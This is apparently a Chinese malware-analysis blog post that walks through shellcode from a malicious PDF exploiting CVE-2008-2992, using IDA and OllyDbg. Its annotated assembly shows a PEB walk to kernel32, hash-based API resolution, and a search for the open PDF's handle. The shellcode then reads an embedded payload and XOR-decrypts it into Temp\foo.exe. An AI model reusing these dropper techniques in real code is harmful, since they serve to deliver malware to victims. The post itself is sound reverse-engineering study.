【逆向】PDF CVE-2008-2992 ShellCode分析

上一篇文章里提取的shellcode样本，简单分析下吧，主要是对shellcode分析方法步骤做一个简单记录。

之前文章链接：https://www.cnblogs.com/SunsetR/p/11270981.html

分析方法：

使用IDA和OD配合分析，IDA可以查看主体流程，标注识别一定代码后可以使用Graph view视图进行查看。去除花指令等反反汇编代码后可以F5查看伪代码。而使用OD则可以动态调试诸如解析函数Hash，模拟GetProcAddress获取函数地址等功能。

分析时切记以下几点：

1、shellcode中包含了代码和数据，分析时需要手动识别标注它们。

2、为了节省空间，shellcode通常使用Hash值来计算API名称。

3、为了躲避杀软，shellcode免杀处理时通常会使用加密算法进行加密，执行时自解密。

4、为了完成更多功能，shellcode通常会使用多种技术来获取Kernel32.dll基址，进行动态函数调用。

关注以上几点，shellcode分析时往往能够事半功倍。

下面使用OD和IDA分别加载shellcode。

IDA在执行分析时，将地址0-5C处的内容识别为数据，你可以使用快捷键“C”将它们转换为代码。假如你不能确定数据或代码，可以结合上下文进行分析。

进入sub_17B函数，首先取消(Undefine)IDA错误识别的函数sub_17C，使用快捷键“C”将17C处重定义为代码，选中sub_17B重新编辑函数，将“End address”修改为“00000321”点击OK。

修改后右键选择“Graph view”(空格)视图显示。

sub_17B函数第一条指令使用call/pop指令组合获取并保存了call指令的返回地址，这是shellcode常用操作，我们需要重点关注对该地址的内存操作。

1 seg000:0000017B  pop     esi                //esi = call指令返回地址
2 seg000:0000017C  mov     [ebp-14h], esi
3 seg000:0000017F  mov     edi, esi
4 seg000:00000181  mov     ebx, esi           //以上分别保存了call指令返回地址
5 seg000:00000183  call    sub_CA

sub_CA函数使用FS:[30]TEB，PEB结构体获取Kernel32.dll基址。(win7系统下实际获取的是KernelBa.dll基址，为了便于后续分析，手动修改返回值为Kernel32.dll基址即可)。

另外IDA中可以通过“Type libraries”菜单(shift+F11)手动添加依赖库和标准结构体进行标注(Structure offset)，标注后代码将更容易阅读理解。

 1 seg000:000000CA                 push    esi
 2 seg000:000000CB                 xor     eax, eax
 3 seg000:000000CD                 mov     eax, fs:[eax+30h]
 4 seg000:000000D1                 test    eax, eax
 5 seg000:000000D3                 js      short loc_E4
 6 seg000:000000D5                 mov     eax, [eax+0Ch]
 7 seg000:000000D8                 mov     esi, [eax+1Ch]
 8 seg000:000000DB                 lodsd
 9 seg000:000000DC                 mov     eax, [eax+8]
10 seg000:000000DF                 jmp     loc_E9
11 seg000:000000E4 loc_E4:                                 
12 seg000:000000E4                 jmp     loc_E4
13 seg000:000000E9 loc_E9:                                 
14 seg000:000000E9                 pop     esi
15 seg000:000000EA                 retn

接下来的代码通过call指令返回地址获取函数名称Hash，然后通过sub_7E函数循环获取函数实际调用地址。并将获取到的函数地址，按顺序写回call指令返回地址。该操作一共获取了15个API地址。

 1 seg000:00000183  call    myGetKernelBase    
 2 seg000:00000188  mov     [ebp-4], eax       //保存Kernel32基址
 3 seg000:0000018B  mov     ecx, 0Eh           //循环14次
 4 seg000:00000190  loc_190:                                
 5 seg000:00000190  lodsd                      
 6 seg000:00000191  push    eax                //名称Hash
 7 seg000:00000192  push    dword ptr [ebp-4]  //KernelBase
 8 seg000:00000195  call    sub_7E             //获取名称Hash对应函数地址
 9 seg000:0000019A  stosd                      //写回call指令返回地址
10 seg000:0000019B  loop    loc_190            //循环执行
11 seg000:0000019D  push    32336Ch
12 seg000:000001A2  push    6C656873h          //通过栈拼接字符串"shell32"
13 seg000:000001A7  mov     eax, esp
14 seg000:000001A9  push    eax
15 seg000:000001AA  call    dword ptr [ebx]    //LoadLibraryA 获取shell32基址
16 seg000:000001AC  xchg    eax, ecx
17 seg000:000001AD  lodsd
18 seg000:000001AE  push    eax                //nameHash
19 seg000:000001AF  push    ecx                //dllBase
20 seg000:000001B0  call    sub_7E             //获取名称Hash对应函数地址
21 seg000:000001B5  stosd

接下来代码遍历文件句柄，通过获取文件大小来校验是否是打开的PDF文件，所以在调试分析shellcode时需要将PDF文件一同加载到内存中。

 1 seg000:000001B6  xor     esi, esi
 2 seg000:000001B8  mov     ebx, [ebp-14h]      //ebx = call指令返回地址
 3 seg000:000001BB  loc_1BB:                                 
 4 seg000:000001BB  add     esi, 4              
 5 seg000:000001C1  lea     eax, [ebp-8]        
 6 seg000:000001C4  push    eax                 
 7 seg000:000001C5  push    esi                 
 8 seg000:000001C6  call    dword ptr [ebx+1Ch] //GetFileSize
 9 seg000:000001C9  cmp     eax, [ebx+3Ch]      //与返回地址+偏移3C处的文件大小比较
10 seg000:000001CC  jnz     short loc_1BB       //如果文件大小不等于“C602”,循环执行

获取PDF文件句柄后，通过之前获取的“GlobalAlloc”API动态申请内存空间，并从PDF文件开头106F偏移处读取A000大小的数据到申请的缓冲区内。缓冲区大小从call指令返回地址偏移0x40处获取（nSize = A000）。

 1 seg000:000001CE  mov     [ebp-8], esi          //保存pdf文件句柄
 2 seg000:000001D1  xor     edx, edx               
 3 seg000:000001D3  push    dword ptr [ebx+44h]   //Buff Size
 4 seg000:000001D6  push    edx                   
 5 seg000:000001D7  call    dword ptr [ebx+30h]   //GlobalA1loc
 6 seg000:000001DA  test    eax, eax               
 7 seg000:000001DC  jz      loc_313               
 8 seg000:000001E2  mov     [ebp-0Ch], eax        //保存地址
 9 seg000:000001E5  xor     edx, edx               
10 seg000:000001E7  push    edx                   //FILE_BEGIN
11 seg000:000001E8  push    edx                   
12 seg000:000001E9  push    dword ptr [ebx+40h]   //offset 106F
13 seg000:000001EC  push    dword ptr [ebp-8]     //hFile
14 seg000:000001EF  call    dword ptr [ebx+20h]   //SetFilePointer
15 seg000:000001F2  push    dword ptr [ebx+44h]   //Buff size
16 seg000:000001F5  push    dword ptr [ebp-0Ch]   //Buff
17 seg000:000001F8  push    dword ptr [ebp-8]     //hFile
18 seg000:000001FB  push    dword ptr [ebx+24h]   //ReadFile
19 seg000:000001FE  call    sub_13D               //读取文件数据到BUff

获取并拼接Temp\foo.exe路径，解密PDF中获取的Buff数据，将解密后的数据写入foo.exe文件

 1 seg000:00000203  xor     eax, eax                      
 2 seg000:00000205  lea     edi, [ebp-124h]              
 3 seg000:0000020B  mov     ecx, 40h ; '@'                  
 4 seg000:00000210  rep stosd                            //初始化 [ebp-124h]
 5 seg000:00000212  lea     edi, [ebp-124h]              
 6 seg000:00000218  push    edi                          
 7 seg000:00000219  push    100h                          
 8 seg000:0000021E  call    dword ptr [ebx+10h]          //GetTempPathA
 9 seg000:00000221  xor     eax, eax                      
10 seg000:00000223  lea     edi, [ebp-124h]              
11 seg000:00000229  repne scasb                          //获取temp路径结尾
12 seg000:0000022B  dec     edi                          
13 seg000:0000022C  mov     [ebp-1Ch], edi                  
14 seg000:0000022F  mov     dword ptr [edi], 2E6F6F66h      
15 seg000:00000235  mov     dword ptr [edi+4], 657865h   //在temp路径后追加foo.exe
16 seg000:0000023C  mov     ebx, [ebp-14h]                  
17 seg000:0000023F  lea     eax, [ebp-124h]              
18 seg000:00000245  push    eax                          //temp\foo.exe
19 seg000:00000246  push    4Ah ; 'J'                    //key
20 seg000:0000024B  push    dword ptr [ebx+44h]          //BuffSize
21 seg000:0000024E  push    dword ptr [ebp-0Ch]          //Buff
22 seg000:00000251  push    ebx                          //返回地址
23 seg000:00000252  call    sub_EB                       //解密Buff 写temp\foo.exe